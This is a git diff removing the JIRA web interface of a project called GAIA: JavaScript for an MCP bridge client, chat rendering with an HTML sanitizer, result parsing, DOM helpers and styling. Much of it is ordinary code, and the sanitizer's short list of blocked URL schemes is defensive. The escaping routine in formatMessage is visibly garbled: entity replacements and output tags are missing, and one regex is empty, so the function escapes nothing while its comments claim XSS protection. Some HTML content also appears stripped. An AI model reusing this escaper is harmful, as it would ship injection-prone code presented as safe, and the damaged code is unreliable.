result.result - const responseText = result.result; - console.log('JIRA Agent response:', responseText); - - // Try to extract JSON from the response - let parsedData = null; - if (typeof responseText === 'string') { - // First check for JSON in markdown code blocks - const jsonMatch = responseText.match(/```json\n([\s\S]*?)\n```/); - if (jsonMatch) { - try { - parsedData = JSON.parse(jsonMatch[1]); - console.log('Extracted JSON from markdown:', parsedData); - } catch (e) { - console.warn('Failed to parse JSON from markdown:', e); - } - } - - // If no JSON found, try to parse the whole response - if (!parsedData) { - try { - parsedData = JSON.parse(responseText); - console.log('Parsed entire response as JSON:', parsedData); - } catch { - // Not JSON, just return the text message - console.log('Response is plain text:', responseText); - return { - message: responseText || 'Query completed', - data: null - }; - } - } - } - - // If we have parsed data with the right structure, use it - if (parsedData && (parsedData.type === 'issues' || parsedData.issues)) { - return { - message: `Found ${parsedData.issues?.length || 0} issue(s)`, - data: { - type: 'issues', - items: parsedData.issues || [] - } - }; - } else if (parsedData && (parsedData.type === 'projects' || parsedData.projects)) { - return { - message: `Found ${parsedData.projects?.length || 0} project(s)`, - data: { - type: 'projects', - items: parsedData.projects || [] - } - }; - } else { - // Return the response without mock data - return { - message: responseText || 'Query completed', - data: null - }; - } - } - } - - // Fallback for unexpected response format - return { - message: 'Query completed', - data: null - }; - } catch (error) { - // Don't fall back to mock data - show real error - console.error('Failed to communicate with MCP Bridge:', error); - throw new Error(`Cannot connect to GAIA MCP Bridge at ${this.mcpBaseUrl}: ${error.message}`); - } - } - - formatJiraResponse(data) { - if (!data) return 'No results found.'; - - if (data.issues && Array.isArray(data.issues)) { - return `Found ${data.issues.length} issue(s) matching your query.`; - } - - if (data.projects && Array.isArray(data.projects)) { - return `Found ${data.projects.length} project(s).`; - } - - if (data.message) { - return data.message; - } - - return 'Query executed successfully.'; - } - - async checkConnection() { - if (this.isElectron && window.electronAPI?.checkConnection) { - return await window.electronAPI.checkConnection(); - } - - // Check actual MCP Bridge connectivity - try { - console.log(`Checking MCP Bridge at: ${this.mcpBaseUrl}/health`); - - const response = await fetch(`${this.mcpBaseUrl}/health`, { - method: 'GET', - signal: AbortSignal.timeout(5000) // 5 second timeout - }); - - console.log('Health check response status:', response.status); - - if (response.ok) { - const data = await response.json(); - console.log('MCP Bridge health response:', data); - return data.status === 'healthy'; - } else { - console.error('Health check failed with status:', response.status); - } - - return false; - } catch (error) { - console.error('MCP Bridge connection check failed:', error); - console.error('Make sure MCP Bridge is running: gaia mcp start'); - return false; - } - } - -} \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/public/js/modules/chat-ui.js b/src/gaia/apps/jira/webui/public/js/modules/chat-ui.js deleted file mode 100644 index a76666085..000000000 --- a/src/gaia/apps/jira/webui/public/js/modules/chat-ui.js +++ /dev/null @@ -1,152 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -export class ChatUI { - constructor() { - this.messagesContainer = document.getElementById('messages'); - } - - addMessage(content, type = 'assistant') { - const messageEl = document.createElement('div'); - messageEl.className = `message ${type}`; - - const headerEl = document.createElement('div'); - headerEl.className = 'message-header'; - headerEl.textContent = type === 'user' ? 'You' : - type === 'error' ? 'Error' : - type === 'system' ? 'System' : 'JAX Assistant'; - - const contentEl = document.createElement('div'); - contentEl.className = 'message-content'; - - // Handle different content types. - // - // For 'error' / 'system' messages we MUST NOT pass through - // formatMessage + sanitizeInto: those flows include arbitrary - // exception strings (`Error: ${error.message}`) which CodeQL - // correctly flags as xss-through-exception / xss-through-dom - // sinks. Errors / system banners use textContent directly. - // - // For user/assistant messages we hand the sanitizer a live target - // DOM node — it parses, strips dangerous elements/attrs, and - // appends the sanitized children. We never route the sanitized - // HTML back through ``innerHTML = str``. - // - // Non-string payloads render as JSON via textContent — there is no - // caller-supplied-DOM-node branch, so nothing caller-controlled is - // ever appended to the document unsanitized. - if (typeof content === 'string') { - if (type === 'error' || type === 'system') { - contentEl.textContent = content; - } else { - this.sanitizeInto(contentEl, this.formatMessage(content)); - } - } else { - contentEl.textContent = JSON.stringify(content, null, 2); - } - - messageEl.appendChild(headerEl); - messageEl.appendChild(contentEl); - this.messagesContainer.appendChild(messageEl); - - // Scroll to bottom - this.scrollToBottom(); - } - - formatMessage(text) { - // HTML-escape FIRST so any <, >, &, ", ' in user input become - // entities and can't introduce tags. Then apply the markdown-like - // replacements on the escaped string — our regexes only produce a - // small fixed set of tags (strong/em/code/br/a), all of which were - // absent from the escaped source. - // - // This means ``html`` passed to sanitizeInto() is derived entirely - // from our own tag templates plus escaped user text — no untrusted - // HTML ever reaches the DOMParser sink, which is also what CodeQL - // (xss-through-dom / xss-through-exception) wants to see. - const esc = text - .replace(/&/g, '&') - .replace(//g, '>') - .replace(/"/g, '"') - .replace(/'/g, '''); - - return esc - .replace(/\*\*(.*?)\*\*/g, '$1') - .replace(/\*(.*?)\*/g, '$1') - .replace(/`(.*?)`/g, '$1') - .replace(/\n/g, '
') - .replace(/(https?:\/\/[^\s<]+)/g, '$1'); - } - - sanitizeInto(targetEl, html) { - // URL-bearing attributes where an unsafe scheme could execute script. - const URL_ATTRS = new Set(['href', 'src', 'xlink:href', 'action', 'formaction']); - // Schemes that can execute JS in at least one browser. Explicit list - // (not a regex) so a future reviewer can audit what is blocked. - const DANGEROUS_SCHEMES = ['javascript:', 'data:', 'vbscript:']; - - // Parse via DOMParser rather than assigning to ``innerHTML``. - // ``parseFromString`` with the ``text/html`` MIME produces a - // disconnected document whose - - - - - - - - \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/renderer/renderer.js b/src/gaia/apps/jira/webui/src/renderer/renderer.js deleted file mode 100644 index b77a2a3fa..000000000 --- a/src/gaia/apps/jira/webui/src/renderer/renderer.js +++ /dev/null @@ -1,227 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// JAX Renderer - Three Column Layout -// Chat-centric interface with sidebar navigation - -import DomHelpers from './services/dom-helpers.js'; -import apiClient from './services/api-client.js'; -import Sidebar from './components/sidebar.js'; -import ChatComponent from './components/chat-component.js'; -import ResultsPanel from './components/results-panel.js'; - -class JaxDashboardApp { - constructor() { - this.sidebar = null; - this.chatComponent = null; - this.resultsPanel = null; - this.systemStatus = { - gaiaReady: false, - pythonBridge: false - }; - - this.initialize(); - } - - async initialize() { - console.log('🚀 Initializing JAX App...'); - - try { - // Initialize theme - this.initializeTheme(); - - // Initialize components - this.initializeComponents(); - - // Setup global event handlers - this.setupEventHandlers(); - - // Check initial system status - await this.checkSystemStatus(); - - console.log('✅ JAX App initialized successfully'); - } catch (error) { - console.error('❌ Failed to initialize JAX App:', error); - } - } - - initializeTheme() { - // Check for saved theme preference or system preference - const savedTheme = localStorage.getItem('theme'); - const systemPrefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches; - - const theme = savedTheme || (systemPrefersDark ? 'dark' : 'light'); - document.documentElement.setAttribute('data-theme', theme); - - // Update toggle button icons - this.updateThemeToggleIcon(theme); - - // Setup theme toggle - const themeToggle = document.getElementById('theme-toggle'); - if (themeToggle) { - themeToggle.addEventListener('click', () => this.toggleTheme()); - } - } - - toggleTheme() { - const currentTheme = document.documentElement.getAttribute('data-theme') || 'light'; - const newTheme = currentTheme === 'dark' ? 'light' : 'dark'; - - document.documentElement.setAttribute('data-theme', newTheme); - localStorage.setItem('theme', newTheme); - this.updateThemeToggleIcon(newTheme); - } - - updateThemeToggleIcon(theme) { - const sunIcon = document.querySelector('.sun-icon'); - const moonIcon = document.querySelector('.moon-icon'); - - if (theme === 'dark') { - if (sunIcon) sunIcon.style.display = 'none'; - if (moonIcon) moonIcon.style.display = 'block'; - } else { - if (sunIcon) sunIcon.style.display = 'block'; - if (moonIcon) moonIcon.style.display = 'none'; - } - } - - initializeComponents() { - // Initialize Sidebar Component - this.sidebar = new Sidebar('sidebar', (command) => { - // Handle sidebar action clicks by sending to chat - if (this.chatComponent) { - this.chatComponent.sendMessage(command); - } - }); - - // Initialize Chat Component - this.chatComponent = new ChatComponent('chat-pane', (parsedResult, query) => { - // Callback to handle results from chat - this.handleChatResult(parsedResult, query); - }); - - // Initialize Results Panel - this.resultsPanel = new ResultsPanel('results-pane'); - - console.log('📦 Components initialized'); - } - - setupEventHandlers() { - // Handle status updates from main process - apiClient.onStatusUpdate((event, message) => { - console.log('📡 Status update received:', message); - this.updateConnectionStatus(message); - }); - - // Handle window events - window.addEventListener('beforeunload', () => { - this.cleanup(); - }); - - console.log('🎧 Event handlers setup complete'); - } - - handleChatResult(parsedResult, query) { - console.log('💬 Chat result received:', parsedResult.type, query); - - // Update results panel with the parsed result - if (this.resultsPanel) { - this.resultsPanel.updateResults(parsedResult, query); - } - } - - async checkSystemStatus() { - try { - const status = await apiClient.getSystemStatus(); - this.systemStatus = status; - console.log('🔍 System status:', status); - - this.updateConnectionIndicator(status.gaiaReady && status.pythonBridge); - } catch (error) { - console.error('❌ Error checking system status:', error); - this.updateConnectionIndicator(false); - } - } - - updateConnectionStatus(message) { - console.log('📊 Connection status update:', message); - - // Update header status if it exists - const statusText = DomHelpers.querySelector('.status-text'); - if (statusText) { - statusText.textContent = message; - } - } - - updateConnectionIndicator(connected) { - const statusDot = DomHelpers.querySelector('.status-dot'); - const statusText = DomHelpers.querySelector('.status-text'); - - if (statusDot) { - statusDot.className = `status-dot ${connected ? 'connected' : 'error'}`; - } - - if (statusText && connected) { - statusText.textContent = 'Connected'; - } else if (statusText && !connected) { - statusText.textContent = 'Connecting...'; - } - } - - showLoading(show = true, message = 'Processing your request...') { - const overlay = DomHelpers.getElementById('loading-overlay'); - const loadingText = overlay?.querySelector('.loading-text'); - - if (overlay) { - if (show) { - if (loadingText && message) { - loadingText.textContent = message; - } - DomHelpers.addClass(overlay, 'visible'); - } else { - DomHelpers.removeClass(overlay, 'visible'); - } - } - } - - showLoadingOverlay(message = 'Processing your request...') { - this.showLoading(true, message); - } - - hideLoadingOverlay() { - this.showLoading(false); - } - - cleanup() { - console.log('🧹 Cleaning up JAX App...'); - // Component cleanup if needed - } - - // Public methods for external access (if needed) - getChatComponent() { - return this.chatComponent; - } - - getResultsPanel() { - return this.resultsPanel; - } - - getSystemStatus() { - return this.systemStatus; - } -} - -// Initialize the application when DOM is loaded -document.addEventListener('DOMContentLoaded', () => { - console.log('🎬 DOM loaded, starting JAX...'); - const app = new JaxDashboardApp(); - window.jiraDashboard = app; - window.app = app; // Expose as app for easier access -}); - -// Auto-check system status periodically -setInterval(async () => { - if (window.jiraDashboard) { - await window.jiraDashboard.checkSystemStatus(); - } -}, 30000); // Check every 30 seconds \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/renderer/services/api-client.js b/src/gaia/apps/jira/webui/src/renderer/services/api-client.js deleted file mode 100644 index af33a401b..000000000 --- a/src/gaia/apps/jira/webui/src/renderer/services/api-client.js +++ /dev/null @@ -1,71 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// API Client -// IPC communication wrapper for renderer process - -class ApiClient { - constructor() { - this.electronAPI = window.electronAPI; - } - - // System status - async getSystemStatus() { - return await this.electronAPI.getSystemStatus(); - } - - async startGaiaPython() { - return await this.electronAPI.startGaiaPython(); - } - - async stopGaiaPython() { - return await this.electronAPI.stopGaiaPython(); - } - - // JIRA operations - async executeJiraCommand(command) { - return await this.electronAPI.executeJiraCommand(command); - } - - async getJiraProjects() { - return await this.electronAPI.getJiraProjects(); - } - - async getMyIssues() { - return await this.electronAPI.getMyIssues(); - } - - async searchJira(query) { - return await this.electronAPI.searchJira(query); - } - - async createJiraIssue(issueData) { - return await this.electronAPI.createJiraIssue(issueData); - } - - // Application management - async openExternalLink(url) { - return await this.electronAPI.openExternalLink(url); - } - - async showSaveDialog(options) { - return await this.electronAPI.showSaveDialog(options); - } - - async showOpenDialog(options) { - return await this.electronAPI.showOpenDialog(options); - } - - // Event listeners - onStatusUpdate(callback) { - this.electronAPI.onStatusUpdate(callback); - } - - onMcpResponse(callback) { - this.electronAPI.onMcpResponse(callback); - } -} - -// Export singleton instance -window.apiClient = new ApiClient(); -export default window.apiClient; \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/renderer/services/dom-helpers.js b/src/gaia/apps/jira/webui/src/renderer/services/dom-helpers.js deleted file mode 100644 index 43f71f28d..000000000 --- a/src/gaia/apps/jira/webui/src/renderer/services/dom-helpers.js +++ /dev/null @@ -1,204 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// DOM Helpers -// Reusable DOM utilities for renderer components - -class DomHelpers { - // Element selection and manipulation - static getElementById(id) { - return document.getElementById(id); - } - - static querySelector(selector) { - return document.querySelector(selector); - } - - static querySelectorAll(selector) { - return document.querySelectorAll(selector); - } - - static createElement(tagName, className = '', innerHTML = '') { - const element = document.createElement(tagName); - if (className) element.className = className; - if (innerHTML) element.innerHTML = innerHTML; - return element; - } - - // Class management - static addClass(element, className) { - if (element) element.classList.add(className); - } - - static removeClass(element, className) { - if (element) element.classList.remove(className); - } - - static toggleClass(element, className) { - if (element) element.classList.toggle(className); - } - - static hasClass(element, className) { - return element ? element.classList.contains(className) : false; - } - - // Content management - static setHTML(element, html) { - if (element) element.innerHTML = html; - } - - static setText(element, text) { - if (element) element.textContent = text; - } - - static appendHTML(element, html) { - if (element) element.innerHTML += html; - } - - static clearContent(element) { - if (element) element.innerHTML = ''; - } - - // Event handling - static addEventListener(element, event, handler) { - if (element) element.addEventListener(event, handler); - } - - static removeEventListener(element, event, handler) { - if (element) element.removeEventListener(event, handler); - } - - // Form utilities - static getFormData(formElement) { - if (!formElement) return {}; - - const formData = new FormData(formElement); - const data = {}; - - for (const [key, value] of formData.entries()) { - data[key] = value; - } - - return data; - } - - static setFormData(formElement, data) { - if (!formElement || !data) return; - - Object.keys(data).forEach(key => { - const input = formElement.querySelector(`[name="${key}"]`); - if (input) { - input.value = data[key] || ''; - } - }); - } - - static clearForm(formElement) { - if (formElement) formElement.reset(); - } - - // Visibility management - static show(element) { - if (element) element.style.display = ''; - } - - static hide(element) { - if (element) element.style.display = 'none'; - } - - static toggle(element) { - if (element) { - element.style.display = element.style.display === 'none' ? '' : 'none'; - } - } - - // Animation helpers - static fadeIn(element, duration = 300) { - if (!element) return; - - element.style.opacity = '0'; - element.style.display = ''; - - let start = null; - const animate = (timestamp) => { - if (!start) start = timestamp; - const progress = timestamp - start; - - element.style.opacity = Math.min(progress / duration, 1); - - if (progress < duration) { - requestAnimationFrame(animate); - } - }; - - requestAnimationFrame(animate); - } - - static fadeOut(element, duration = 300) { - if (!element) return; - - let start = null; - const animate = (timestamp) => { - if (!start) start = timestamp; - const progress = timestamp - start; - - element.style.opacity = 1 - Math.min(progress / duration, 1); - - if (progress < duration) { - requestAnimationFrame(animate); - } else { - element.style.display = 'none'; - } - }; - - requestAnimationFrame(animate); - } - - // Scroll utilities - static scrollToBottom(element) { - if (element) { - element.scrollTop = element.scrollHeight; - } - } - - static scrollToTop(element) { - if (element) { - element.scrollTop = 0; - } - } - - // HTML escaping - static escapeHtml(text) { - const div = document.createElement('div'); - div.textContent = text; - return div.innerHTML; - } - - static unescapeHtml(html) { - const div = document.createElement('div'); - div.innerHTML = html; - return div.textContent || div.innerText || ''; - } - - // Loading state management - static showLoading(element, text = 'Loading...') { - if (!element) return; - - element.innerHTML = ` -
-
-
${text}
-
- `; - } - - static hideLoading(element, originalContent = '') { - if (element) { - element.innerHTML = originalContent; - } - } -} - -// Export for use in components -window.DomHelpers = DomHelpers; -export default DomHelpers; \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/renderer/services/result-parser.js b/src/gaia/apps/jira/webui/src/renderer/services/result-parser.js deleted file mode 100644 index b2b3e7a82..000000000 --- a/src/gaia/apps/jira/webui/src/renderer/services/result-parser.js +++ /dev/null @@ -1,336 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// Result Parser -// Handles parsing different response formats from JIRA operations - -class ResultParser { - constructor() { - this.resultTypes = { - ISSUES: 'issues', - PROJECTS: 'projects', - CREATED_ISSUE: 'created_issue', - SEARCH_RESULTS: 'search_results', - CHAT_RESPONSE: 'chat_response', - ERROR: 'error', - UNKNOWN: 'unknown' - }; - } - - parseResult(result) { - console.log('🔍 parseResult received:', result); - - if (!result) { - return { type: this.resultTypes.ERROR, message: 'No result provided' }; - } - - // Priority 1: Check for conversation-based response format (new format from MCP bridge) - if (result.conversation && Array.isArray(result.conversation)) { - console.log('💬 Found conversation-based response format at top level'); - return this.parseConversationResponse(result); - } - - // Priority 2: Handle new JiraAgent JSON API response structure directly - if (result.success !== undefined && result.metadata && result.metadata.tool_calls) { - console.log('🎯 Found clean JiraAgent JSON API structure - processing directly'); - return this.parseNewJiraAgentResponse(result); - } - - // Priority 3: Check for errors first - if (!result.success && result.error) { - return { type: this.resultTypes.ERROR, error: result.error }; - } - - // Priority 4: Parse data if present - if (result.data) { - return this.parseDirectResponse(result.data); - } - - return { type: this.resultTypes.UNKNOWN, data: result }; - } - - - parseDirectResponse(data) { - console.log('🔍 parseDirectResponse received data:', data); - - // Check if it's already in the new JSON API structure - if (data.success !== undefined && data.metadata) { - console.log('📝 Found nested JSON API structure'); - return this.parseNewJiraAgentResponse(data); - } - - // Check for conversation-based response format - if (data.conversation && Array.isArray(data.conversation)) { - console.log('💬 Found conversation-based response format'); - return this.parseConversationResponse(data); - } - - // Handle simple answer/message in data - if (data.answer && typeof data.answer === 'string') { - console.log('📝 Using answer as chat response'); - return { - type: this.resultTypes.CHAT_RESPONSE, - message: data.answer - }; - } - - return { type: this.resultTypes.UNKNOWN, data }; - } - - - parseConversationResponse(data) { - console.log('🔍 parseConversationResponse parsing conversation:', data.conversation); - - let assistantAnswer = null; - let systemData = null; - let performanceStats = []; - let lastError = null; - - // Parse conversation array to extract relevant data - for (const message of data.conversation) { - console.log(` Processing message - role: ${message.role}, content type:`, typeof message.content); - - if (message.role === 'assistant' && message.content) { - // Get the final assistant answer - if (message.content.answer) { - console.log(' Found assistant answer:', message.content.answer); - assistantAnswer = message.content.answer; - } - } else if (message.role === 'system' && message.content) { - // Check for errors - if (message.content.status === 'error' || message.content.error) { - console.log(' Found error:', message.content.error); - lastError = message.content.error; - } - // Extract system data (issues, projects, etc.) - if (message.content.issues || message.content.projects) { - console.log(' Found system data with issues/projects:', message.content); - systemData = message.content; - } - // Collect performance stats - if (message.content.type === 'stats' && message.content.performance_stats) { - console.log(' Found performance stats:', message.content.performance_stats); - performanceStats.push({ - step: message.content.step, - stats: message.content.performance_stats - }); - } - } - } - - console.log(' Final extracted data:'); - console.log(' assistantAnswer:', assistantAnswer); - console.log(' systemData:', systemData); - console.log(' lastError:', lastError); - console.log(' performanceStats:', performanceStats); - - // If there was an error and no successful data, return error result - if (lastError && !systemData && !assistantAnswer) { - console.log('❌ Search failed with error'); - return { - type: this.resultTypes.ERROR, - error: `Search failed: ${lastError}`, - performanceStats: performanceStats, - rawData: data - }; - } - - // Determine result type based on system data - if (systemData) { - if (systemData.issues && Array.isArray(systemData.issues)) { - console.log('🎯 Found issues in conversation:', systemData.issues); - const result = { - type: this.resultTypes.ISSUES, - issues: systemData.issues, - total: systemData.total || systemData.issues.length, - jql: systemData.jql, - message: assistantAnswer, - performanceStats: performanceStats, - rawData: data // Preserve original data for Raw tab - }; - console.log(' Returning ISSUES result:', result); - return result; - } - - if (systemData.projects && Array.isArray(systemData.projects)) { - console.log('🎯 Found projects in conversation:', systemData.projects); - return { - type: this.resultTypes.PROJECTS, - projects: systemData.projects, - total: systemData.total || systemData.projects.length, - message: assistantAnswer, - performanceStats: performanceStats, - rawData: data // Preserve original data for Raw tab - }; - } - - if (systemData.created) { - console.log('🎯 Found created issue in conversation:', systemData); - return { - type: this.resultTypes.CREATED_ISSUE, - issue: { - key: systemData.key, - url: systemData.url, - ...systemData - }, - message: assistantAnswer, - performanceStats: performanceStats, - rawData: data // Preserve original data for Raw tab - }; - } - } - - // If we only have an answer, treat as chat response - if (assistantAnswer) { - return { - type: this.resultTypes.CHAT_RESPONSE, - message: assistantAnswer, - performanceStats: performanceStats, - rawData: data // Preserve original data for Raw tab - }; - } - - // Fallback to unknown with full data - return { - type: this.resultTypes.UNKNOWN, - data: data, - performanceStats: performanceStats, - rawData: data // Preserve original data for Raw tab - }; - } - - parseNewJiraAgentResponse(response) { - console.log('🔍 parseNewJiraAgentResponse parsing:', response); - - // Check if the request was successful - if (!response.success) { - console.log('❌ New JSON API returned error:', response.error); - return { - type: this.resultTypes.ERROR, - error: response.error?.message || 'Unknown error' - }; - } - - // Check tool_calls in metadata for direct tool results - if (response.metadata && response.metadata.tool_calls && response.metadata.tool_calls.length > 0) { - console.log('🔧 Found tool calls in metadata:', response.metadata.tool_calls); - - for (const toolCall of response.metadata.tool_calls) { - const toolResult = toolCall.result; - - // Check for issues in tool result - if (toolResult && toolResult.issues && Array.isArray(toolResult.issues)) { - console.log('🎯 Found issues in tool call result:', toolResult); - return { - type: this.resultTypes.ISSUES, - issues: toolResult.issues, - total: toolResult.total || toolResult.issues.length, - jql: toolResult.jql - }; - } - - // Check for projects in tool result - if (toolResult && toolResult.projects && Array.isArray(toolResult.projects)) { - console.log('🎯 Found projects in tool call result:', toolResult); - return { - type: this.resultTypes.PROJECTS, - projects: toolResult.projects, - total: toolResult.projects.length - }; - } - - // Check for created issue in tool result - if (toolResult && toolResult.created) { - console.log('🎯 Found created issue in tool call result:', toolResult); - return { - type: this.resultTypes.CREATED_ISSUE, - issue: { - key: toolResult.key, - url: toolResult.url, - ...toolResult - } - }; - } - } - } - - // If we have data.answer, treat as chat response - if (response.data && response.data.answer) { - console.log('💬 Found answer in data, treating as chat response'); - return { - type: this.resultTypes.CHAT_RESPONSE, - message: response.data.answer - }; - } - - console.log('❓ No recognized data in new JSON API response'); - return { type: this.resultTypes.UNKNOWN, data: response }; - } - - - formatChatResponse(parsedResult) { - // If we have a message from the assistant, use it directly - if (parsedResult.message) { - return parsedResult.message; - } - - // Otherwise format based on type - switch (parsedResult.type) { - case this.resultTypes.ISSUES: - return this.formatIssuesForChat(parsedResult); - case this.resultTypes.PROJECTS: - return this.formatProjectsForChat(parsedResult); - case this.resultTypes.CREATED_ISSUE: - return this.formatCreatedIssueForChat(parsedResult); - case this.resultTypes.CHAT_RESPONSE: - return parsedResult.message; - case this.resultTypes.ERROR: - return `Error: ${parsedResult.error}`; - default: - return 'Task completed successfully! Check the results panel for details.'; - } - } - - formatIssuesForChat(parsedResult) { - const { issues, total } = parsedResult; - let response = `📋 Found ${total} issue${total !== 1 ? 's' : ''}:\n\n`; - - issues.slice(0, 3).forEach(issue => { - response += `• ${issue.key} - ${issue.summary}\n Status: ${issue.status} | Priority: ${issue.priority}\n\n`; - }); - - if (issues.length > 3) { - response += `... and ${issues.length - 3} more. Check the Results panel for full details.`; - } - - return response; - } - - formatProjectsForChat(parsedResult) { - const { projects, total } = parsedResult; - let response = `📁 Found ${total} project${total !== 1 ? 's' : ''}:\n\n`; - - projects.slice(0, 3).forEach(project => { - response += `• ${project.key} - ${project.name}\n Status: ${project.status} | Issues: ${project.issueCount || 0}\n\n`; - }); - - if (projects.length > 3) { - response += `... and ${projects.length - 3} more. Check the Results panel for full details.`; - } - - return response; - } - - formatCreatedIssueForChat(parsedResult) { - const { issue } = parsedResult; - let response = `✅ Successfully created issue: ${issue.key || 'Unknown'}`; - if (issue.url) { - response += `\n🔗 ${issue.url}`; - } - return response; - } -} - -// Export singleton instance -window.resultParser = new ResultParser(); -export default window.resultParser; \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/renderer/styles.css b/src/gaia/apps/jira/webui/src/renderer/styles.css deleted file mode 100644 index 41b156d2e..000000000 --- a/src/gaia/apps/jira/webui/src/renderer/styles.css +++ /dev/null @@ -1,1502 +0,0 @@ -/* CSS Variables for JIRA Dashboard - Light Mode */ -:root { - --primary-color: #0052CC; - --primary-hover: #0065FF; - --secondary-color: #F4F5F7; - --accent-color: #FF5630; - --success-color: #00875A; - --warning-color: #FFAB00; - --danger-color: #DE350B; - - --text-primary: #172B4D; - --text-secondary: #6B778C; - --text-disabled: #97A0AF; - - --bg-primary: #FFFFFF; - --bg-secondary: #F4F5F7; - --bg-tertiary: #EBECF0; - --bg-body: #F0F2F5; - - --border-color: #DFE1E6; - --border-radius: 12px; - --shadow: 0 1px 3px rgba(0, 0, 0, 0.08); - --shadow-card: 0 2px 8px rgba(0, 0, 0, 0.06); - --shadow-hover: 0 4px 12px rgba(0, 0, 0, 0.1); - - --font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', sans-serif; - --font-size-xs: 12px; - --font-size-sm: 14px; - --font-size-base: 16px; - --font-size-lg: 18px; - --font-size-xl: 20px; - --font-size-2xl: 24px; - - /* Loading overlay colors */ - --loading-overlay-bg: rgba(255, 255, 255, 0.9); - --loading-spinner-primary: var(--primary-color); - --loading-spinner-secondary: var(--bg-tertiary); -} - -/* Dark Mode Variables */ -[data-theme="dark"] { - --primary-color: #2684FF; - --primary-hover: #4C9AFF; - --secondary-color: #2C333A; - --accent-color: #FF7452; - --success-color: #36B37E; - --warning-color: #FFC400; - --danger-color: #FF5630; - - --text-primary: #F4F5F7; - --text-secondary: #9FADBC; - --text-disabled: #6B778C; - - --bg-primary: #1D2125; - --bg-secondary: #282E33; - --bg-tertiary: #323940; - --bg-body: #161A1D; - - --border-color: #38414A; - --border-radius: 12px; - --shadow: 0 1px 3px rgba(0, 0, 0, 0.3); - --shadow-card: 0 2px 8px rgba(0, 0, 0, 0.4); - --shadow-hover: 0 4px 12px rgba(0, 0, 0, 0.5); - - /* Loading overlay colors for dark mode */ - --loading-overlay-bg: rgba(22, 26, 29, 0.95); - --loading-spinner-primary: var(--primary-color); - --loading-spinner-secondary: var(--bg-tertiary); -} - -/* Auto dark mode based on system preference */ -@media (prefers-color-scheme: dark) { - :root:not([data-theme="light"]) { - --primary-color: #2684FF; - --primary-hover: #4C9AFF; - --secondary-color: #2C333A; - --accent-color: #FF7452; - --success-color: #36B37E; - --warning-color: #FFC400; - --danger-color: #FF5630; - - --text-primary: #F4F5F7; - --text-secondary: #9FADBC; - --text-disabled: #6B778C; - - --bg-primary: #1D2125; - --bg-secondary: #282E33; - --bg-tertiary: #323940; - --bg-body: #161A1D; - - --border-color: #38414A; - --shadow: 0 1px 3px rgba(0, 0, 0, 0.3); - --shadow-card: 0 2px 8px rgba(0, 0, 0, 0.4); - --shadow-hover: 0 4px 12px rgba(0, 0, 0, 0.5); - - --loading-overlay-bg: rgba(22, 26, 29, 0.95); - --loading-spinner-primary: var(--primary-color); - --loading-spinner-secondary: var(--bg-tertiary); - } -} - -/* Header Styles for Issues and Search Results */ -.issues-header, .search-header { - margin-bottom: 20px; - padding: 16px; - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); -} - -.issues-header h3, .search-header h3 { - color: var(--text-primary); - font-size: var(--font-size-lg); - margin-bottom: 8px; -} - -.jql-info { - color: var(--text-secondary); - font-size: var(--font-size-sm); - margin: 0; -} - -.jql-info code { - background: var(--bg-tertiary); - padding: 2px 6px; - border-radius: 4px; - font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; - font-size: 12px; -} - -/* Info Message Styles */ -.info-message { - padding: 20px; - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - margin: 20px 0; - text-align: center; -} - -.info-message h3 { - color: var(--text-primary); - margin-bottom: 12px; - font-size: var(--font-size-lg); -} - -.info-message p { - color: var(--text-secondary); - line-height: 1.6; -} - -/* Reset and Base Styles */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - font-family: var(--font-family); - font-size: var(--font-size-base); - color: var(--text-primary); - background-color: var(--bg-body); - line-height: 1.5; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; - transition: background-color 0.3s ease, color 0.3s ease; -} - -/* App Layout */ -#app { - display: flex; - flex-direction: column; - height: 100vh; - overflow: hidden; -} - -/* Header */ -.app-header { - background: var(--bg-primary); - border-bottom: 1px solid var(--border-color); - padding: 12px 24px; - z-index: 100; -} - -.header-content { - display: flex; - justify-content: space-between; - align-items: center; -} - -.logo-section { - display: flex; - align-items: center; - gap: 12px; -} - -.app-logo { - width: 32px; - height: 32px; -} - -.app-title { - font-size: var(--font-size-xl); - font-weight: 600; - color: var(--primary-color); -} - -.status-section { - display: flex; - align-items: center; -} - -.status-indicator { - display: flex; - align-items: center; - gap: 8px; - font-size: var(--font-size-sm); -} - -.status-dot { - width: 8px; - height: 8px; - border-radius: 50%; - background-color: var(--warning-color); - transition: background-color 0.3s ease; -} - -.status-dot.connected { - background-color: var(--success-color); -} - -.status-dot.error { - background-color: var(--danger-color); -} - -/* Main Content */ -.main-content { - display: flex; - height: 100vh; - overflow: hidden; -} - -/* Three Column Layout */ -.main-layout { - display: grid; - grid-template-columns: 280px 1fr 460px; - gap: 24px; - padding: 24px; - width: 100%; - height: 100vh; - background: transparent; - box-sizing: border-box; -} - -/* Sidebar Styles */ -.sidebar { - background: var(--bg-primary); - border-radius: var(--border-radius); - box-shadow: var(--shadow-card); - overflow-y: auto; - overflow-x: hidden; -} - -.sidebar-content { - padding: 24px; -} - -.sidebar-section { - margin-bottom: 32px; -} - -.sidebar-title { - font-size: 12px; - font-weight: 600; - text-transform: uppercase; - color: var(--text-secondary); - margin-bottom: 16px; - padding-left: 4px; - letter-spacing: 0.5px; -} - -.sidebar-actions { - display: flex; - flex-direction: 